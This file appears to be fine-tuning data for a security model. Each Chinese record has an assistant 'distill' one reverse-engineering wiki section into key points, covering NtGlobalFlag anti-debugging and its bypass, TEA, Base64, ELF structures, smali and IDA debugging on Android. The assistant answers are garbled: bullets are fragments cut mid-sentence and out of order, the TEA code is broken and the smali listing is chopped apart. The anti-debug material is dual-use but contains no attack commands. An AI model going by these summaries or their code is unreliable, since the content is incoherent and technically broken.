{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-37e0e23225224ca23f03", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/ntglobalflag.md` 中的章节「改变NtGlobalFlag初值」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/ntglobalflag.md`\n标题：NtGlobalFlag\n章节：NtGlobalFlag > 改变NtGlobalFlag初值\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“改变NtGlobalFlag初值”展开。\n- 4. 当调试器创建进程时, Windows会做出一些改变. 通过设置环境变量中的_NO_DEBUG_HEAP, NtGlobalFlag将会因为调试器而不会设置其中的3个堆的标志位. 当然它们依旧可以通过GlobalFlag或加载配置表中的GlobalFlagsSet继续设置.\n- GlobalFlagsClear列出需要清空的标志位, 而GlobalFlagsSet则列出需要设置的标志位, 这些设置会在GlobalFlag应用之后再生效, 因此它可以覆盖掉GlobalFlag指定的值. 然而它无法覆盖掉Windows指定设置的标志位. 比如设置FLG_USER_STACK_TRACE_DB (0x1000)可以让Windows设置FLG_HEAP_VALIDATE_PARAMETERS (0x40)标志位, 就算FLG_HEAP_VALIDATE_PARAMETERS在加载配置表(Lo...\n- 当然绕过这种检测的方法也十分简单, 那就是调试器想办法将该字段重新设置为0. 然而这个默认的初值可以用以下四种方法任意一种改变: 1. 注册表HKLM\\System\\CurrentControlSet\\Control\\SessionManager的GlobalFlag的值会替换进行NtGlobalFlag字段. 尽管它随后还可能由Windows改变(以下会介绍), 注册表键值会对系统中所有进程产生影响并在重启后生效.\n- 2. 依旧是GlobalFlag, 不过这里的是HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\. (映像劫持), 这里需要将替换为需要更改的可执行文件的文件名(不需要指定路径). 设置好GlobalFlag后, 系统会将其值覆盖到NtGlobalFlag字段(只单独为指定的进程覆盖). 不过也还是可以再次由Windows改变(见下).\n- 文件: ./figure/globalflag.png] 当然这也产生了另一种检测调试器的方法: 如果一个调试器为了隐藏自己, 而将注册表中的键值复制到NtGlobalFlag字段中, 然而注册表中的键值事先已经替换并且尚未重启生效. 那么调试器只是复制了一个假的值, 而非真正需要的那个. 如果程序知道真正的值而非注册表中的那个假的值, 那么就可以察觉到调试器的存在. 当然调试器也可以运行其他进程然后查询NtGlobalFlag字段来获取真正的值.\n\n关键术语：\n- 堆\n- 栈\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1292, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "改变NtGlobalFlag初值", "heading_path": ["NtGlobalFlag", "改变NtGlobalFlag初值"], "original_id": "docs-e3d1ba1c3dcffa3c56b2", "original_line": 1524, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntglobalflag.md", "source_root": "docs", "source_sha256": "ec56247871fb9435305e4c8b2388abac89e4886e3581a55b8ee83db9de62d5a7", "split": "train", "split_group_key": "b87ced2e4695019346d554f6", "subcategory": "reverse/platform/windows", "terms": ["堆", "栈", "reverse", "platform", "windows", "anti-debug"], "title": "NtGlobalFlag"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntglobalflag.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-3ac5d28717cafb5fa2f9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/identify-encode-encryption/introduction.md` 中的章节「Tea」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/identify-encode-encryption/introduction.md`\n标题：常见加密算法和编码识别\n章节：常见加密算法和编码识别 > Tea\n路径分类：reverse / reverse/identify-encode-encryption/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Tea”展开。\n- 在密码学中，微型加密算法（Tiny Encryption Algorithm，TEA）是一种易于描述和执行的块密码，通常只需要很少的代码就可实现。\n- 参考代码： ``c #include  void encrypt (uint32_t v, uint32_t k) { uint32_t v0=v[0], v1=v[1], sum=0, i;\n- } void decrypt (uint32_t v, uint32_t k) { uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;\n- 当然，这 Tea 算法也有魔改的，感兴趣的可以看 2018 0ctf Quals milk-tea。\n- i++) { / basic cycle start / sum += delta;\n\n关键术语：\n- 密码学\n- reverse\n- identify-encode-encryption\n- introduction.md\n- code:c\n\n代码/命令片段线索：\n- c: 23 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 1616, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "Tea", "heading_path": ["常见加密算法和编码识别", "Tea"], "original_id": "docs-9104abeb8769596db1e3", "original_line": 1474, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/identify-encode-encryption/introduction.md", "source_root": "docs", "source_sha256": "42a9e7f8a466122cdf713c3924803d4330afbf3adfb0d5c278d1ff2d658c2f61", "split": "train", "split_group_key": "4226a4649cb97221a85852ec", "subcategory": "reverse/identify-encode-encryption/introduction.md", "terms": ["密码学", "reverse", "identify-encode-encryption", "introduction.md", "code:c"], "title": "常见加密算法和编码识别"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/identify-encode-encryption/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-3c357363dd928aeddc24", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/identify-encode-encryption/introduction.md` 中的章节「Base64」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/identify-encode-encryption/introduction.md`\n标题：常见加密算法和编码识别\n章节：常见加密算法和编码识别 > Base64\n路径分类：reverse / reverse/identify-encode-encryption/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Base64”展开。\n- 文件: https://wikimedia.org/api/rest_v1/media/math/render/svg/c4becc8d811901597b9807eccff60f0897e3701a]），按照其值选择ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ 中的字符作为编码后的输出，直到全部输入数据转换完成。\n- 每次取出6比特（因为 [图片: {\\displaystyle 2^{6}=64};\n- 通常而言 Base64 的识别特征为索引表，当我们能找到 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ 这样索引表，再经过简单的分析基本就能判定是 Base64 编码。\n- [图片文件: http://ob2hrvcxg.bkt.clouddn.com/20180822140744.png] 当然，有些题目 base64 的索引表是会变的，一些变种的 base64 主要 就是修改了这个索引表。\n- Base64 是一种基于64个可打印字符来表示二进制数据的表示方法。\n\n关键术语：\n- 密码学\n- reverse\n- identify-encode-encryption\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 588, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "Base64", "heading_path": ["常见加密算法和编码识别", "Base64"], "original_id": "docs-d9413cad35b00d60f4e5", "original_line": 1473, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/identify-encode-encryption/introduction.md", "source_root": "docs", "source_sha256": "42a9e7f8a466122cdf713c3924803d4330afbf3adfb0d5c278d1ff2d658c2f61", "split": "train", "split_group_key": "e794461051cf68a8f34a26c7", "subcategory": "reverse/identify-encode-encryption/introduction.md", "terms": ["密码学", "reverse", "identify-encode-encryption", "introduction.md"], "title": "常见加密算法和编码识别"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/identify-encode-encryption/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-3e123ee9848e7d295d74", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/dynamic-sections.md` 中的章节「.interp」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/dynamic-sections.md`\n标题：Dynamic Sections\n章节：Dynamic Sections > .interp\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“.interp”展开。\n- 在 exec (BA_OS) 过程中，系统会从该节中提取解释器的路径，并根据解释器文件的段创建初始时的程序镜像。\n- 因此，解释器需要从系统处获取控制权，然后为应用程序提供执行环境。\n- 1. 它可以接收一个指向文件头的文件描述符，以便于读取可执行文件。\n- 它可以使用这个文件描述符来读取并将可执行文件的段映射到内存中。\n- 参与动态链接的可执行文件会具有一个 PT_INTERP 类型的程序头元素，以便于来加载程序中的段。\n\n关键术语：\n- executable\n- elf\n- structure\n- dynamic-sections.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 599, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": ".interp", "heading_path": ["Dynamic Sections", ".interp"], "original_id": "docs-d17f85732cff6ac4e480", "original_line": 473, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/dynamic-sections.md", "source_root": "docs", "source_sha256": "c293a7a3833b5bc0c2bb5e2fdd32acdf739452a114134eba71693dd5b6a01f8b", "split": "train", "split_group_key": "8fcbe537e70d064c31b4a791", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "dynamic-sections.md"], "title": "Dynamic Sections"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/dynamic-sections.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-40db9583c6a794ed64a7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「virtual methods」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：virtual methods\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“virtual methods”展开。\n- >println(I)V .line 26 const/16 v1, 0x9#v1寄存器中赋值为9 const/4 v2, 0x3#v2寄存器中赋值为3 #调用sub()方法,{p0,v1,v2},p0指的是this,即当前对象,v1,v2则是参数 invoke-virtual {p0, v1, v2}, Lcom/social_touch/demo/MainActivity;\n- >sub(II)I #从v0寄存器中获取sub()方法的执行结果 move-result v0 .line 28 if-le v0, v3, :cond_0#如果v0寄存器的值小于v3寄存器中的值,则跳转到cond_0处继续执行 .line 29 #调用静态方法log() invoke-static {v0}, Lcom/social_touch/demo/MainActivity;\n- >log(I)V .line 31 :cond_0 return-void .end method .method protected onCreate(Landroid/os/Bundle;\n- )V .locals 1 .parameter \"savedInstanceState\" #参数savedInstancestate .prologue .line 17 #调用父类方法onCreate() invoke-super {p0, p1}, Landroid/app/Activity;\n- )V .line 18 const v0, 0x7f04001a#v0寄存器赋值为0x7f04001a #调用方法setContentView() invoke-virtual {p0, v0}, Lcom/social_touch/demo/MainActivity;\n\n关键术语：\n- Android逆向\n- AI安全\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1845, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "virtual methods", "heading_path": ["virtual methods"], "original_id": "docs-d2d9b213ea17ee238f79", "original_line": 67, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "2e899c47022bfae6bbaef90d", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "AI安全", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-42010c6722de32be5171", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/example.md` 中的章节「CheckRemoteDebuggerPresent」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/example.md`\n标题：反调试技术例题\n章节：反调试技术例题 > CheckRemoteDebuggerPresent\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- `` c++ / BOOL WINAPI CheckRemoteDebuggerPresent( _In_ HANDLE hProcess, _Inout_ PBOOL pbDebuggerPresent );\n- CheckRemoteDebuggerPresent(v4, &pbDebuggerPresent);\n- API: CheckRemoteDebuggerPresent() { printf(\"But detected remotedebug.\\n\");\n- } ` 这里我顺便在注释里列出了CheckRemoteDebuggerPresent()这个API的函数原型. 如果检测到调试器的存在, 会将pbDebuggerPresent`设置为一个非零值. 根据其值检测调试器(CheckRemoteDebuggerPresent() 篇)\n- */ v4 = GetCurrentProcess();\n- if ( pbDebuggerPresent ) // 4.\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 496, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "CheckRemoteDebuggerPresent", "heading_path": ["反调试技术例题", "CheckRemoteDebuggerPresent"], "original_id": "docs-4f4ccc613e111bf9c277", "original_line": 1508, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "source_root": "docs", "source_sha256": "5a7151f125d55cfe0319c38e27d1048d38ffec185786c112507c0baa82273cee", "split": "train", "split_group_key": "e0efb6240b02c5b30793913c", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "反调试技术例题"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-4202ff4184b5e6879171", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「数据转换指令」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > 具体指令 > 数据转换指令\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 数据转换指令主要是将一种数据类型转换为另一种数据类型。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 792, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "数据转换指令", "heading_path": ["interfaces", "执行语句", "具体指令", "数据转换指令"], "original_id": "docs-2d045e967913c4d84db3", "original_line": 54, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "90fee3bc6a4a12ba3c5a482f", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-420b5eb709df20623647", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/basic-info.md` 中的章节「e_ident」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/basic-info.md`\n标题：ELF 文件\n章节：ELF 文件 > ELF Header > e_ident\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“e_ident”展开。\n- | 名称 | 值 | 意义 | | ------------ | ---- | ----- | | ELFCLASSNONE | 0 | 无效类型 | | ELFCLASS32 | 1 | 32位文件 | | ELFCLASS64 | 2 | 64位文件 | ELF 文件的设计使得它可以在多种字节长度的机器之间移植，而不需要强制规定机器的最长字节长度和最短字节长度。\n- 正如之前所说，ELF 提供了一个目标文件框架，以便于支持多种处理器，多种编码格式的机器。\n- 下面是目前已定义的编码： | 名称 | 值 | 意义 | | ----------- | ---- | ------ | | ELFDATANONE | 0 | 无效数据编码 | | ELFDATA2LSB | 1 | 小端 | | ELFDATA2MSB | 2 | 大端 | 其它值被保留，在未来必要时将被赋予新的编码。\n- 正如之前所述，ELFCLASS32类型文件使用了具有1，2 和 4 字节的变量类型。\n- ELFDATA2LSB编码使用补码，最低有效位（Least Significant Byte）占用最低地址。\n\n关键术语：\n- executable\n- elf\n- structure\n- basic-info.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 1638, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "e_ident", "heading_path": ["ELF 文件", "ELF Header", "e_ident"], "original_id": "docs-492317453757b523d0d4", "original_line": 461, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "source_root": "docs", "source_sha256": "7f5a80d98d168d64ccdb374d843b6fa3c0001d8f9406ab7ff5c2b3f5892cdaa2", "split": "train", "split_group_key": "ef71d9d340bc1fa7d692570a", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "basic-info.md"], "title": "ELF 文件"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-445ef8aa6732556c5936", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/basic-info.md` 中的章节「sh_flags」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/basic-info.md`\n标题：ELF 文件\n章节：ELF 文件 > Section Header Table > 部分节头字段 > sh_flags\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 节头中 sh_flags 字段的每一个比特位都可以给出其相应的标记信息，其定义了对应的节区的内容是否可以被修改、被执行等信息。\n- | 名称 | 值 | 说明 | | ------------- | ---------- | ---------------------------------------- | | SHF_WRITE | 0x1 | 这种节包含了进程运行过程中可以被写的数据。\n- 对于不占用目标文件的内存镜像空间的某些控制节，该属性处于关闭状态(off)。\n- | | SHF_EXECINSTR | 0x4 | 这种节包含可执行的机器指令（EXECutable INSTRuction）。\n- | | SHF_MASKPROC | 0xf0000000 | 所有在这个掩码中的比特位用于特定处理器语义。\n- 如果一个标志位被设置，则该位取值为1，未定义的位都为0。\n\n关键术语：\n- executable\n- elf\n- structure\n- basic-info.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 442, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "sh_flags", "heading_path": ["ELF 文件", "Section Header Table", "部分节头字段", "sh_flags"], "original_id": "docs-d7b893f8e36fe6ffc14b", "original_line": 26, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "source_root": "docs", "source_sha256": "7f5a80d98d168d64ccdb374d843b6fa3c0001d8f9406ab7ff5c2b3f5892cdaa2", "split": "train", "split_group_key": "74437e9581d4829fd47aba06", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "basic-info.md"], "title": "ELF 文件"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/basic-info.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-475010c9dee7bb4955ab", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/linking/symbol-resolve.md` 中的章节「endif」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/linking/symbol-resolve.md`\n标题：Symbol Resolution\n章节：endif\n路径分类：executable / executable/elf/linking\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“endif”展开。\n- Adjust stack(PLT did 2 pushes) add $(LOCAL_STORAGE_AREA + 16), %RSP_LP cfi_adjust_cfa_offset(-(LOCAL_STORAGE_AREA + 16)) # Preserve bound registers.\n- PRESERVE_BND_REGS_PREFIX jmp *%r11 # Jump to function address. cfi_endproc .size _dl_runtime_resolve, .-_dl_runtime_resolve #endif ```\n\n关键术语：\n- 栈\n- executable\n- elf\n- linking\n- symbol-resolve.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 292, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "endif", "heading_path": ["endif"], "original_id": "docs-82d68c834ae252874d5f", "original_line": 453, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "source_root": "docs", "source_sha256": "af2f538caa3e68f7f0ed6d9fb7f77b950f3a11aa74906c2f7fe420e6d494a691", "split": "train", "split_group_key": "7a75c3e130e2d84caff7dee7", "subcategory": "executable/elf/linking", "terms": ["栈", "executable", "elf", "linking", "symbol-resolve.md"], "title": "Symbol Resolution"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-4978f9e23d80e50d7019", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/dynamic/ida_native_debug.md` 中的章节「添加程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/dynamic/ida_native_debug.md`\n标题：IDA 动态调试原生层程序\n章节：IDA 动态调试原生层程序 > 基本原生程序调试-法1 > 添加程序\n路径分类：android / android/basic_reverse/dynamic\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“添加程序”展开。\n- 首先，我们需要把原生程序放到 android 设备中，并修改其权限，使其可以被执行。\n- 如下 ``shell adb push debugnativeapp /data/local/tmp/ adb shell chmod 755 /data/local/tmp/debugnativeapp ``\n- 这里我们以http://www.52pojie.cn/thread-554068-1-1.html中的 debugnativeapp 为例子。\n\n关键术语：\n- Android逆向\n- android\n- basic-reverse\n- dynamic\n- ida-native-debug.md\n- code:shell\n\n代码/命令片段线索：\n- shell: 2 行，首行 `adb push debugnativeapp /data/local/tmp/`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 230, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "添加程序", "heading_path": ["IDA 动态调试原生层程序", "基本原生程序调试-法1", "添加程序"], "original_id": "docs-1d40f72c75fbb89866e1", "original_line": 80, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "source_root": "docs", "source_sha256": "d8399f7884bd2ee4c12b78bfb645bc6a944270b4f03e4772b5fb7c14b4a3896e", "split": "train", "split_group_key": "95ddf9b6baa3ce610c0f3a00", "subcategory": "android/basic_reverse/dynamic", "terms": ["Android逆向", "android", "basic-reverse", "dynamic", "ida-native-debug.md", "code:shell"], "title": "IDA 动态调试原生层程序"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/dynamic/ida_native_debug.md", "split": "train", "type": "ctf_lora_sft"}
